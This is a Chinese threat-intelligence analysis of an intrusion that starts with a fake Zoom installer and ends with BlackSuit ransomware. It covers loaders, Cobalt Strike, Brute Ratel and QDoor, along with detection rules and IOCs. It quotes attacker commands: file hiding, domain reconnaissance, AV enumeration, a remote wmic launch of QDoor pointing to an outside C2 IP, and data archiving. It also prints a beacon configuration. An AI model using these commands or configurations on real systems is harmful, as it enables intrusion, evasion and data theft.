伪装成Zoom软件获取执行机会,潜伏9天自动部署代理恶意软件

admin 2025年4月27日13:57:02评论1 views字数 7249阅读24分9秒阅读模式

part1

点击上方蓝字关注我们

将二进制空间安全设为"星标⭐️"

第一时间收到文章更新

本文要点

  • 攻击者通过一个伪造的 Zoom 安装程序获取初始访问权限,该程序使用了 d3f@ckloader 和 IDAT loader 来投递 SectopRAT 木马。

  • 在潜伏了9 天之后,SectopRAT 又释放了 Cobalt Strike 和 Brute Ratel

  • 攻击者使用多种远程服务以及后续的 RDP(远程桌面协议)实现横向移动。为了便利 RDP 横向移动,攻击者部署了具备代理能力的恶意软件 QDoor

  • 攻击者利用 WinRAR 对多种文件进行打包归档,并上传到名为 Bublup 的云端 SaaS 应用。

  • 最后,攻击者使用 PsExec 在所有 Windows 系统上部署并执行了 BlackSuit 勒索软件。

下面将按照初始访问->程序执行->持久化->躲避检测->凭证访问->横向移动->收集信息->命令与控制 这一系列流程分析该恶意软件不同阶段的行为特征。
伪装成Zoom软件获取执行机会,潜伏9天自动部署代理恶意软件

GO

初始访问

伪装成Zoom软件获取执行机会,潜伏9天自动部署代理恶意软件

当受害者访问网站: https://zoommanager.com, 会看到一个模仿Zoom官方网站的克隆后的网页,如图:

伪装成Zoom软件获取执行机会,潜伏9天自动部署代理恶意软件

当点击"下载"按钮后, 受害者下载了一个恶意的可执行程序:Zoom_v_2.00.4.exe。

该克隆网页仅仅做了一些轻微的修改, 主要在网页顶部增加了一个小函数: loadlink(),该函数会触发一个后端PHP脚本: ./download/dwnl.php。此脚本被绑定到了"下载"按钮的点击事件上, 如图:

伪装成Zoom软件获取执行机会,潜伏9天自动部署代理恶意软件
伪装成Zoom软件获取执行机会,潜伏9天自动部署代理恶意软件
攻击者并未替换所有链接,大多数链接仍会跳转至 Zoom 的官方域名。同时,一些与“下载”相关的功能也未被替换,仍然引用官方 Zoom 页面。如图:
伪装成Zoom软件获取执行机会,潜伏9天自动部署代理恶意软件
伪装成Zoom软件获取执行机会,潜伏9天自动部署代理恶意软件
伪装成Zoom软件获取执行机会,潜伏9天自动部署代理恶意软件

GO

程序执行

伪装成Zoom软件获取执行机会,潜伏9天自动部署代理恶意软件

这个Zoom安装包是使用Inno Setup创建的, (关于Inno Setup,可以去这里了解:https://jrsoftware.org/isinfo.php)。

伪装成Zoom软件获取执行机会,潜伏9天自动部署代理恶意软件

被木马化的安装器实际上是一个下载器,公开名称为 “d3f@ckloader”,其构建基础是 Pascal 脚本语言。对编译后的代码进行字符串分析发现,它引用了多个 zip/cmd 文件、可执行文件及 URL,其中一些嵌入的 URL 指向 OneDrive、Telegram 和 Steam 等平台。

伪装成Zoom软件获取执行机会,潜伏9天自动部署代理恶意软件

执行该程序后,批处理脚本 21.cmd 会从 C:Program FilesWindows NT 目录中被启动。尽管分析的过程中该脚本已不在初始入侵主机上,但根据其他相似的 d3f@ckloader 样本,判断该脚本被配置为:

(1).将当前运行目录下的所有文件和文件夹设为“隐藏”属性。

(2).将 C: 根目录添加至 Windows Defender 的排除扫描列表。

伪装成Zoom软件获取执行机会,潜伏9天自动部署代理恶意软件
这些行为已在样本的沙箱执行中被观测到:
伪装成Zoom软件获取执行机会,潜伏9天自动部署代理恶意软件

沙箱行为地址: https://tria.ge/240515-1r69fseb94/behavioral2

之后,恶意程序会连接到一个 Steam 社区资料页,以获取第二阶段恶意软件所托管的 IP 地址。

伪装成Zoom软件获取执行机会,潜伏9天自动部署代理恶意软件
Inno Download Plugin(idp.dll)是 Inno Setup 的组件,被用于从该远程 IP 地址获取两个 ZIP 文件。相关的 Web 请求使用了一个极具特征性的 User-Agent,使其成为 NIDS(网络入侵检测系统)中常见的检测特征。
伪装成Zoom软件获取执行机会,潜伏9天自动部署代理恶意软件

接下来,名为 4554.cmd 的批处理脚本被执行。它被配置为:

(1).解压这两个 ZIP 文件至 C:Program FilesWindows NT 目录。

(2).运行其中包含的两个可执行文件。

第一个压缩包包含一个名为 1522.exe的可执行文件,是一个正常的 Zoom 安装程序,可能用于掩盖恶意行为并增强用户信任感。第二个压缩包则包含了一组文件,其中包括:

(1).一个签名的可执行文件 152.exe。

(2).多个 DLL 文件(包含 HijackLoader, 又称 IDAT loader)。

(3).一个加密的Payload文件:artillery.mdb。

伪装成Zoom软件获取执行机会,潜伏9天自动部署代理恶意软件
152.exe被执行后, 会注入到MSBuild.exe进程中, 被注入的MSBuild.exe随后访问pastebin获取其C2配置,如图:
伪装成Zoom软件获取执行机会,潜伏9天自动部署代理恶意软件
伪装成Zoom软件获取执行机会,潜伏9天自动部署代理恶意软件
整体执行流程如下图:
伪装成Zoom软件获取执行机会,潜伏9天自动部署代理恶意软件
伪装成Zoom软件获取执行机会,潜伏9天自动部署代理恶意软件

GO

持久化

伪装成Zoom软件获取执行机会,潜伏9天自动部署代理恶意软件

在执行 152.exe 后,Hijackloader 在初始入侵主机(beachhead system)上建立了持久化机制,方法是创建一个启动项:

伪装成Zoom软件获取执行机会,潜伏9天自动部署代理恶意软件
伪装成Zoom软件获取执行机会,潜伏9天自动部署代理恶意软件

GO

躲避检测

伪装成Zoom软件获取执行机会,潜伏9天自动部署代理恶意软件

Cobalt Strike 的 beacon Payload 成功注入到了dllhost.exe进程中,如下图所示的 Sysmon 事件 ID 10:

伪装成Zoom软件获取执行机会,潜伏9天自动部署代理恶意软件
在加载器首次执行期间, 攻击者使用了Windows 的 attrib 工具来修改文件属性,执行了以下命令:
attrib  +s +h /D "C:Program FilesWindows NT*.*"

各参数含义如下:

  • +s:设置系统文件属性。如果文件设置了此属性,在更改其他属性之前必须先清除该属性。

  • +h:设置隐藏文件属性。如果文件设置了此属性,在更改其他属性之前也必须先清除该属性。

  • /d:将 attrib 命令和任何命令行选项应用于目录。

这一命令的目的是将初始加载器文件隐藏,使其在资源管理器中不可见,从而降低被用户或安全工具发现的概率。

在入侵过程中, 攻击者将 SectopRAT 木马程序写入磁盘,位置为:

%USERPROFILE%AppDataLocalTemp
伪装成Zoom软件获取执行机会,潜伏9天自动部署代理恶意软件
随后,该文件通过MSBuild.exe加载并在内存中执行。相同的YARA 规则对磁盘上的文件和 MSBuild.exe 进程内存中的内容都触发了告警,进一步证实了两者之间的关联。
伪装成Zoom软件获取执行机会,潜伏9天自动部署代理恶意软件
之后观察到 MSBuild 进程被用于 SectopRAT 的 C2(命令与控制)通信:
伪装成Zoom软件获取执行机会,潜伏9天自动部署代理恶意软件
伪装成Zoom软件获取执行机会,潜伏9天自动部署代理恶意软件

GO

凭证访问

伪装成Zoom软件获取执行机会,潜伏9天自动部署代理恶意软件

入侵过程中收集的证据表明,攻击者利用了 Cobalt Strike的 pass-the-hash 模块,成功地使 dllhost.exe进程生成了一个新的 cmd.exe 进程,这表明攻击者成功将权限提升到了本地的 ‘SYSTEM’ 账户。

伪装成Zoom软件获取执行机会,潜伏9天自动部署代理恶意软件
随后,dllhost.exe 进程请求访问 LSASS 进程,其使用的权限掩码为 0x1FFFFF(即 PROCESS_ALL_ACCESS)。这一访问模式表明攻击者试图从 LSASS 的内存空间中执行凭据转储(credential dumping)。
伪装成Zoom软件获取执行机会,潜伏9天自动部署代理恶意软件
这种行为的特征是:Granted Access 为 0x1FFFFF(完全访问权限); CallTrace 中出现 UNKNOWN,表明行为异常。
伪装成Zoom软件获取执行机会,潜伏9天自动部署代理恶意软件
更多的证据还包括: 使用了登录类型9(Logon Type 9);身份验证类型为:seclogo。种种迹象表明, 攻击者在使用类似于runas /netonly 的方式登录凭据, 这是 Cobalt Strike 中 pass-the-hash 技术常用的一种伪装方式。(想了解该种伪装方式可参考:https://www.cobaltstrike.com/blog/windows-access-tokens-and-alternate-credentials)
伪装成Zoom软件获取执行机会,潜伏9天自动部署代理恶意软件

在入侵期间,还有迹象表明攻击者试图使用 Rubeus 工具获取凭据:在初始入侵主机的内存镜像中(Brute Ratel Badger 的进程空间)通过 YARA 规则匹配到了该工具的特征。

Rubeus 可以执行多种凭据访问技术,但未能明确识别出攻击者在此次入侵中具体调用了哪些功能。

伪装成Zoom软件获取执行机会,潜伏9天自动部署代理恶意软件
伪装成Zoom软件获取执行机会,潜伏9天自动部署代理恶意软件

GO

发现

伪装成Zoom软件获取执行机会,潜伏9天自动部署代理恶意软件

攻击者最初执行了 hostname 命令,随后在 30分钟的时间跨度内陆续执行了以下一系列命令。需要注意的是,这些命令之间有时存在较长的时间间隔:

11:56 nltest /domain_trusts /all_trusts 11:58 net group""domain admins"" /domain 00:07 net group""Domain Computers"" /domain 00:15 net group /domain 00:18 systeminfo 00:21 whoami /groups
随后,攻击者投放了一个新的访问能力——Cobalt Strike beacon,并继续执行了后续的侦察(Recon)命令:
net group"domain admins" /domain
在成功访问环境中的某个域控制器(Domain Controller)后,攻击者迅速连续执行了以下命令:
net group "domain admins" /domainnltest /dclist:<DOMAINNAME>.local
几乎在同一时间,攻击者转移到环境中的一台备份服务器,执行了同样的服务移除操作,并部署了新的 Cobalt Strike beacon。紧接着,攻击者执行了一个命令,用于通过 WMIC 收集系统中已安装的防病毒(AV)/终端检测响应(EDR)产品信息。
WMIC /Node:localhost /Namespace:\rootSecurityCenter2PathAntiVirusProductGetdisplayName /Format:List

虽然 WMIC 从 Windows 10 21H1开始已被废弃,但它仍然被广泛用于各种管理任务,也常被威胁行为者(Threat Actors)利用。

在继续横向移动到多台机器部署新的 Cobalt Strike beacons的过程中,攻击者还执行了以下环境发现(Discovery)命令:

net user <PRIV_USER> /domain ping <workstation1>ping <workstation2>net view //<IP1>net view \<IP1> Note:now with correct '' nltest /domain_trusts /all_trusts net view \<IP2>net view \<IP3>net view \<IP4>net view \<IP5>net view \<IP6>nltest /dclist:<DOMAIN>ping <DOMAIN>nltest /FINDUSER:REDACTED
伪装成Zoom软件获取执行机会,潜伏9天自动部署代理恶意软件

GO

横向移动

伪装成Zoom软件获取执行机会,潜伏9天自动部署代理恶意软件

攻击者进行横向移动的主要方式是利用 Cobalt Strike 的 jump psexec_psh 功能。通过这种技术,攻击者使用 PowerShell 和 Base64 编码的Payload,在多台主机上快速安装 Cobalt Strike。

伪装成Zoom软件获取执行机会,潜伏9天自动部署代理恶意软件
通过使用 Zeek,可以观察到所有通过 RPC创建和执行服务的调用:
伪装成Zoom软件获取执行机会,潜伏9天自动部署代理恶意软件
利用 CyberChef或其他工具完成对Shellcode进行解码:
伪装成Zoom软件获取执行机会,潜伏9天自动部署代理恶意软件
利用 QDoor 的代理功能(Proxy Capability),攻击者通过 RDP 访问了文件服务器和域控制器。 这一行为可以通过日志中出现的 事件 ID 4624(LogonType 10) 被观察到:
伪装成Zoom软件获取执行机会,潜伏9天自动部署代理恶意软件
由于QDoor 的 C2(命令与控制)通信是未加密的,因此可以通过 Suricata 监测到这种异常行为。
伪装成Zoom软件获取执行机会,潜伏9天自动部署代理恶意软件
在执行这些 RDP 操作时,攻击者还在多个日志事件中泄露了其后端主机名(backend hostname)
伪装成Zoom软件获取执行机会,潜伏9天自动部署代理恶意软件
伪装成Zoom软件获取执行机会,潜伏9天自动部署代理恶意软件

GO

收集信息

伪装成Zoom软件获取执行机会,潜伏9天自动部署代理恶意软件

在通过 RDP 会话连接到文件服务器后,攻击者使用 Edge 浏览器下载了 WinRAR,并用它开始将文件共享数据压缩成归档文件。这里使用了 Dissect 的 Edge 浏览器插件来提取通过 KAPE 收集的数据:

$ target-query <REDACTED> -f edge.downloads | rdump -f'{browser} downloaded {path} from {url} {size} via {tab_referrer_url}'edge downloaded C:Users<REDACTED>Downloadswinrar-x64-701.exe from https://www.win-rar.com/fileadmin/winrar-versions/winrar/th/winrar-x64-701.exe3.77 MB via https://www.bing.com/edge downloaded C:Users<REDACTED>Downloadswinrar-x64-701 (1).exe from https://www.win-rar.com/fileadmin/winrar-versions/winrar/winrar-x64-701.exe3.77 MB via https://www.bing.com/
随后,攻击者使用以下命令执行 WinRAR,对文件共享文件夹进行压缩:
"C:Program FilesWinRARWinRAR.exe" a -ep1 -scul -r0 -iext -imon1 -- . G:REDACTED
伪装成Zoom软件获取执行机会,潜伏9天自动部署代理恶意软件

GO

命令与控制

伪装成Zoom软件获取执行机会,潜伏9天自动部署代理恶意软件

在这次攻击中,威胁行为者使用了四个独立的指挥与控制(C2)渠道,分别是:SectopRATBrute RatelQDoor 和 Cobalt Strike。 他们利用这些框架在受害者环境中不断移动和切换

当 SectopRAT 注入到 MSBuild.exe 进程中后,针对 45.141.87[.]218 的流量触发了以下检测规则:

ET MALWARE Arechclient2 Backdoor/SecTopRAT CnC Init

当观察到目的端口为 15647 的流量时,规则被触发:

伪装成Zoom软件获取执行机会,潜伏9天自动部署代理恶意软件
MALWAREArechclient2Backdoor/SecTopRATRelatedActivityM2 (GET)
在进行 C2 beacon 通信时,向目的端口 9000 发送流量,也触发了相应的规则:
伪装成Zoom软件获取执行机会,潜伏9天自动部署代理恶意软件

并且关联到了 IP 地址 5.181.159.31 及其域名 megupdate.com

在追踪这类活动时,以下规则与此 IP 关联:

ET INFO Observed ZeroSSL SSL/TLS Certificate
对于名为 Badger (2905.dll) 的样本,提取出了如下配置:
伪装成Zoom软件获取执行机会,潜伏9天自动部署代理恶意软件
在环境中还发现了另一个样本 3004.dll,其中配置了不同的 C2:
伪装成Zoom软件获取执行机会,潜伏9天自动部署代理恶意软件
该 beacon 的配置如下:
{"CobaltStrikeBeacon": {"BeaconType""HTTPS""Port"443"C2Server": [ "provincial-gaiters-gw.aws-use1.cloud-ara[.]tyk.io,/api/v2/login"],"HttpPostUri": ["/api/v2/status"],"Malleable_C2_Instructions": [            [ "Remove 1522 bytes from the end","Remove 84 bytes from the beginning","Remove 3931 bytes from the beginning","Base64 URL-safe decode","XOR mask w/ random key"]"Spawnto_x86": ["%windir%\syswow64\dllhost.exe"],"Spawnto_x64": ["%windir%\sysnative\dllhost.exe"],"Watermark": [987654321]"bProcInject_MinAllocSize": [17500],"ProcInject_PrependAppend_x86": [["9090",""]],"ProcInject_Execute": [            ["ntdll:RtlUserThreadStart","CreateThread","NtQueueApcThread-s","CreateRemoteThread","RtlCreateUserThread"]}

这个配置与第二个 Badger 使用的 tyk[.]io 域名一致,但该 Badger 并没有被实际执行。Tyk 是一个开源的通用 API 管理平台,支持 REST、GraphQL、gRPC 和异步 API,允许快速设置和访问 API。

目前尚不清楚为什么威胁者在横向移动时选择继续使用 Cobalt Strike,而不是继续使用 Brute Ratel,尤其是当未执行的 Badger 样本中已经配置了类似的 Tyk C2 域名时。

在这次入侵中,观察到攻击者使用了一个代理工具,这个代理工具是 QDoor,曾在多个 BlackSuit 勒索软件事件中出现过。

这个文件在二进制中硬编码了 C2 地址 88.119.167[.]239,可以通过文件中的字符串查看到。

伪装成Zoom软件获取执行机会,潜伏9天自动部署代理恶意软件
此外,QDoor 也支持通过命令行参数运行,可以传入一个地址来配置 C2,本次入侵中即是如此:
%WINDIR%system32cmd.exe /C wmic /node:"REDACTED" process call create "%WINDIR%Tempsvhost.exe "143.244.146[.]183""
这项活动还触发了以下检测规则,表明通过 QDoor 建立的代理隧道中存在 RDP 会话
ET POLICY Tunneled RDP msts Handshake
伪装成Zoom软件获取执行机会,潜伏9天自动部署代理恶意软件

GO

威胁指标

伪装成Zoom软件获取执行机会,潜伏9天自动部署代理恶意软件
d3f@ckloaderhttp://78.47.105[.]28/manual/152/152.ziphttp://78.47.105[.]28/manual/152/1522.zipSecTopRAT45.141.87[.]218:9000BruteRatel:megupdate[.]com:443 / 5.181.159[.]31:443administrative-manufacturer-gw.aws-usw2.cloud-ara.tyk[.]io:443CobaltStrikeprovincial-gaiters-gw.aws-use1.cloud-ara.tyk.io:443 / 44.196.9.9:443QDoor88.119.167[.]239:443143.244.146[.]183:443

原文始发于微信公众号(二进制空间安全):伪装成Zoom软件获取执行机会,潜伏9天自动部署代理恶意软件

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月27日13:57:02
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   伪装成Zoom软件获取执行机会,潜伏9天自动部署代理恶意软件http://cn-sec.com/archives/4006001.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息